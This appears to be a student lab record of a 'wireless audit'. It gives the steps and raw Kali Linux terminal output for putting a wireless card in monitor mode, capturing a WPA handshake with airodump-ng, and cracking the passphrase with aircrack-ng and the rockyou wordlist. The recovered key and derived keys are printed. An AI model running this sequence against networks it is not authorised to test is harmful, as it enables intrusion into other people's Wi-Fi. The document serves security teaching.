

**Exp.No.:9b**

**Date:**

## **WIRELESS AUDIT**

### **Aim:**

To perform wireless audit on Access Point and decrypt WPA keys using aircrack-ng tool in Kali Linux OS.

### **Algorithm:**

1. Check the current wireless interface with `iwconfig` command.
2. Get the channel number, MAC address and ESSID with `iwlist` command.
3. Start the wireless interface in monitor mode on specific AP channel with `airmon-ng`.
4. If processes are interfering with `airmon-ng` then kill those processes.
5. Again start the wireless interface in monitor mode on specific AP channel with `airmon-ng`.
6. Start `airodump-ng` to capture Initialization Vectors (IVs).
7. Capture IVs for at least 5 to 10 minutes and then press `Ctrl+C` to stop the operation.
8. List the files to see the captured files.
9. Run `aircrack-ng` to crack key using the IVs collected and using the dictionary file `rockyou.txt`.
10. If the passphrase is found in dictionary then `Key Found` message is displayed; else print `Key Not Found`.

### **Output:**

```
root@kali:~#iwconfigeth0
no wireless extensions.
```

```
wlan0IEEE802.11bgnESSID:off/any
Mode:ManagedAccessPoint:Not-AssociatedTx-Power=20dBmRetryshort
limit:7 RTS thr:off Fragment thr:off Encryption key:off Power
Management:off lo      no wireless extensions.
```

```
root@kali:~#iwlistwlan0scanningwlan0
```

```
Scan completed :
```

```
Cell01-Address:14:F6:5A:F4:57:22
```

```
Channel:6
```

```
Frequency:2.437GHz(Channel6)Quality=70/70Signallevel=-27dBm
```

```
Encryption key:on ESSID:"BENEDICT"
```

```
BitRates:1Mb/s;2Mb/s;5.5Mb/s;11Mb/s
```

```
BitRates:6Mb/s;9Mb/s;12Mb/s;18Mb/s;24 Mb/s
```

```
36Mb/s;48Mb/s;54Mb/s
```

```
Mode:MasterExtra:tsf=00000000425b0a37Extra:Lastbeacon:548msagoIE: WPA  
Version 1
```

```
GroupCipher:TKIP
```

```
PairwiseCiphers(2):CCMPTKIPAuthenticationSuites(1):PSK root@kali:~#
```

```
airmon-ng start wlan0
```

```
Found2processesthatcouldcausetrouble.
```

```
Ifairodump-ng,aireplay-ngorairtun-ngstopsworkingafterashortperiodoftime, you  
may want to kill (some of) them!
```

```
PIDName
```

```
1148NetworkManager
```

```
1324wpa_supplicant
```

```
PHYInterface      Driver      Chipset
```

```
phy0wlan0ath9k_htc  AtherosCommunications,Inc.AR9271802.11n
```

```
Newlycreatedmonitormodeinterfacewlan0monis*NOT*inmonitormode. Removing  
non-monitor wlan0mon interface...
```

```
WARNING:unabletostartmonitormode,pleaserun"airmon-ngcheckkill" root@kali:~#
```

```
airmon-ng check kill Killing
```

```
theseprocesses:
```

PIDName  
1324wpa\_supplicant

root@kali:~# airmon-ng start wlan0

PHY Interface	Driver	Chipset
phy0wlan0ath9k_htc	Atheros	Communications, Inc. AR9271 802.11n

(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0)

root@kali:~# airodump-ng -w atheros -c 6 --bssid 14:F6:5A:F4:57:22 wlan0mon  
CH 6 ][ Elapsed: 5 mins ][ 2016-10-05 01:35 ][ WPA handshake: 14:F6:5A:F4:57:  
BSSID PWR RXQ Beacons #Data, #/s CHMBENCCIPHERAUTH  
14:F6:5A:F4:57:22 -31 100 310410036 0 6 54e. WPACCMPPSK B  
BSSID STATION PWR Rate Lost Frames Probe 14:F6:5A:F4:57:22  
70:05:14:A3:7E:3E -32 2e- 0 0 10836

root@kali:~# ls -ltotal  
10348

-rw-r--r--	1 root root	10580359	Oct 5 01:35	atheros-01.cap
-rw-r--r--	1 root root	481	Oct 5 01:35	atheros-01.csv
-rw-r--r--	1 root root	598	Oct 5 01:35	atheros-01.kismet.csv
-rw-r--r--	1 root root	2796	Oct 5 01:35	atheros-01.kismet.netxml

root@kali:~# aircrack-ng -a2 atheros-01.cap -w /usr/share/wordlists/rockyou.txt  
[00:00:52] 84564 keys tested (1648.11 k/s)

KEYFOUND! [rec12345]

MasterKey: CA539B5C231670E48453169EFB147749A97AA0  
2D9FBB2BC38D26D2 33543D3A43

TransientKey: F5F4BAAF576F87045802ED1862378A53

3886F1A2CA0D4A8DD6EC ED0D6C1DC1AF  
815881C25D587FFADE1334D6A2AEFE05F653B8CAA070EC02  
1BEA5F7ADA7AEC7D

EAPOLHMAC0A124C3DEDBDEEC02BC95AE3C165A85C

**Result:**